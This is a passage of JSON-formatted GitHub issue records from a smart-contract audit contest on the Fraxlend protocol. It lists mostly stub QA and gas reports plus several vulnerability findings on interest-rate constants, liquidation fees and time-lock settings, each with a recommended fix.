"https://github.com/code-423n4/2022-08-frax-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/336", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/335", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/332", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/329", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/328", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/326", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/324", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/323", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/320", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/319", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/316", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/315", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/314", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/313", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/309", "labels": ["bug", "G (Gas Optimization)", "low quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/308", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/306", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/302", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/301", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/300", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/299", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/297", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/289", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Wrong assumption of block time might cause wrong interest rate", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/276", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairConstants.sol#L41 https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/LinearInterestRate.sol#L34 https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/VariableInterestRate.sol#L40 https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/VariableInterestRate.sol#L41 # Vulnerability details ## Impact All annual rate constants in the system are calculated with an assumption that block time is 15 second (actually it\u2019s from 12 to 14 seconds as in [the documentation](https://ethereum.org/vi/developers/docs/blocks/#block-time). And these constants are used to calculate rate in rate calculator and also used to reset interest rate when there are no borrows. But actually, [the merge is really near](https://ethereum.org/vi/upgrades/merge/) and after the merge blocks come exactly each 12 seconds which basically makes all these constants wrong. This resulted in wrong interest rate after reseting when there are no borrows and wrong rate returned by rate calculators. ## Proof of Concept These annual rate is calculated by solving an equation for `r` with an assumption 365.24 days per year and 15s blocks. For example, this is for the 0.5% annual rate ``` 1.005 = (1 + 15*r)^(365.24 * 24 * 3600 / 15) ``` But actually after the merge, blocks come in exactly each 12 seconds. Check out [this blog post](https://blog.ethereum.org/2021/11/29/how-the-merge-impacts-app-layer/) of Tim Beiko [Line 431-433](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L431-L433) reset interest rate when there are no borrows ```solidity if (!paused()) { _currentRateInfo.ratePerSec = DEFAULT_INT; } ``` These constants are used in `requireValidInitData()` and also `getNewRate()` function in rate calculators and wrong constants might make `getNewRate()` return wrong value. For example, [line 72-74](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/VariableInterestRate.sol#L72-L74) used `MIN_INT` as new interest rate ```solidity if (_newRatePerSec < MIN_INT) { _newRatePerSec = MIN_INT; } ``` ## Tools Used Manual Review ## Recommended Mitigation Steps Consider to update these constants with an assumption that block time is 12 seconds. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/275", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/269", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/268", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/267", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/265", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/262", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/261", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/260", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/255", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/246", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/245", "labels": ["bug", "G (Gas Optimization)", "high quality report", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/241", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Wrong percent for `FraxlendPairCore.dirtyLiquidationFee`.", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/238", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L194 # Vulnerability details ## Impact After confirmed with the sponsor, `dirtyLiquidationFee` is 90% of `cleanLiquidationFee` like the [comment](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L194). But it uses `9% (9000 / 1e5 = 0.09)` and the fee calculation will be wrong [here](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L988-L990). ## Tools Used Manual Review ## Recommended Mitigation Steps We should change `9000` to `90000`. ``` dirtyLiquidationFee = (_liquidationFee * 90000) / LIQ_PRECISION; // 90% of clean fee ```"}, {"title": "FraxlendPair.changeFee() doesn't update interest before changing fee.", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/236", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L215-L222 # Vulnerability details ## Impact This function is changing the protocol fee that is used during interest calculation [here](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L477-L488). But it doesn't update interest before changing the fee so the `_feesAmount` will be calculated wrongly. ## Proof of Concept As we can see during [pause()](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L326) and [unpause()](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L335), `_addInterest()` must be called before any changes. But with the [changeFee()](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L215), it doesn't update interest and the `_feesAmount` might be calculated wrongly. - At time `T1`, [_currentRateInfo.feeToProtocolRate = F1](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L477). - At `T2`, the owner had changed the fee to `F2`. - At `T3`, [_addInterest()](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L409) is called during `deposit()` or other functions. - Then [during this calculation](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L477-L488), `F1` should be applied from `T1` to `T2` and `F2` should be applied from `T2` and `T3`. But it uses `F2` from `T1` to `T2`. ## Tools Used Manual Review ## Recommended Mitigation Steps Recommend modifying `changeFee()` like below. ``` function changeFee(uint32 _newFee) external whenNotPaused { if (msg.sender != TIME_LOCK_ADDRESS) revert OnlyTimeLock(); if (_newFee > MAX_PROTOCOL_FEE) { revert BadProtocolFee(); } _addInterest(); //+++++++++++++++++++++++++++++++++ currentRateInfo.feeToProtocolRate = _newFee; emit ChangeFee(_newFee); } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/232", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/231", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "No Transfer Ownership Pattern"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/226", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/219", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/202", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Decimals limitation limits the tokens that can be used", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/200", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor disputed"], "target": "2022-08-frax-findings", "body": "Decimals limitation limits the tokens that can be used"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/199", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/195", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/191", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "architectal issue enable users to take unsafe loans", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/188", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-frax-findings", "body": "architectal issue enable users to take unsafe loans"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Fraxlend pair deployment can be front-run by a custom pair deployment", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/166", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Fraxlend pair deployment can be front-run by a custom pair deployment"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Approved lenders and borrowers can allow and block any arbitrary address", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/157", "labels": ["bug", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-frax-findings", "body": "Approved lenders and borrowers can allow and block any arbitrary address"}, {"title": "Owner of `FraxlendPair` can set arbitrary time lock contract address to circumvent time lock", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/156", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L206 # Vulnerability details ## Impact The ownership of a deployed Fraxlend pair is transferred to `COMPTROLLER_ADDRESS` on deployment via `FraxlendPairDeployer_deploySecond`. This very owner is able to change the currently used time lock contract address with the `FraxlendPair.setTimeLock` function. A time lock is enforced on the `FraxlendPair.changeFee` function whenever the protocol fee is adjusted. However, as the Fraxlend pair owner is able to change the time lock contract address to any other arbitrary (contract) address, it is possible to circumvent this timelock without users knowing. By using a custom smart contract without an enforced time lock, the protocol fee can be changed at any time without a proper time lock. ## Proof of Concept [FraxlendPair.sol#L206](https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L206) ````solidity /// @notice The ```setTimeLock``` function sets the TIME_LOCK address /// @param _newAddress the new time lock address function setTimeLock(address _newAddress) external onlyOwner { emit SetTimeLock(TIME_LOCK_ADDRESS, _newAddress); TIME_LOCK_ADDRESS = _newAddress; } ```` ## Tools Used Manual review ## Recommended mitigation steps Currently, the owner `COMPTROLLER_ADDRESS` address is trustworthy, however, nothing prevents the above-described scenario. To protect users from sudden protocol fee changes, consider using a minimal time lock implementation directly implemented in the contract without trusting any external contract. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Impossible to `setCreationCode()` with code size less than 13K", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "high quality report", "sponsor acknowledged"], "target": "2022-08-frax-findings", "body": "Impossible to `setCreationCode()` with code size less than 13K"}, {"title": "A malicious borrower/lender could either add or remove other borrowers/lenders from the approvedBorrowers/approvedLenders mapping ", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "A malicious borrower/lender could either add or remove other borrowers/lenders from the approvedBorrowers/approvedLenders mapping "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "high quality report", "edited-by-warden"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Interest can be significantly lower if `addInterest` isn't called frequently enough ", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-frax-findings", "body": "Interest can be significantly lower if `addInterest` isn't called frequently enough "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/143", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "`liquidate()` doesn't mark off bad debt, leading to a 'last lender to withdraw looses' scenario", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/141", "labels": ["bug", "3 (High Risk)"], "target": "2022-08-frax-findings", "body": "`liquidate()` doesn't mark off bad debt, leading to a 'last lender to withdraw looses' scenario"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Malicious Approved Lender can remove all other approved lenders effectively denying access to lending and liquidations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/135", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "Malicious Approved Lender can remove all other approved lenders effectively denying access to lending and liquidations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "FraxlendPair#setTimeLock: Allows the owner to reset TIME_LOCK_ADDRESS", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPairCore.sol#L84-L86 https://github.com/code-423n4/2022-08-frax/blob/c4189a3a98b38c8c962c5ea72f1a322fbc2ae45f/src/contracts/FraxlendPair.sol#L204-L207 # Vulnerability details ## Impact Allows to reset **TIME_LOCK_ADDRESS** value multiple times by the owner. According to comments in FraxlendPairCore this should act as a constant/immutable value. Given that this value will be define through function **setTimeLock** in **FraxLendPair** contract this value can changed whenever the owner wants. This does not seem the expected behaviour. ## Proof of Concept The owner can call whenever they want the function **setTimeLock**, which reset the value of **TIME_LOCK_ADDRESS** ## Tools Used Manual read ## Recommended Mitigation Steps Add a bool which act as mutex if **TIME_LOCK_ADDRESS** has already been set, and modify **setTimeLock** function in FraxlendPair contract 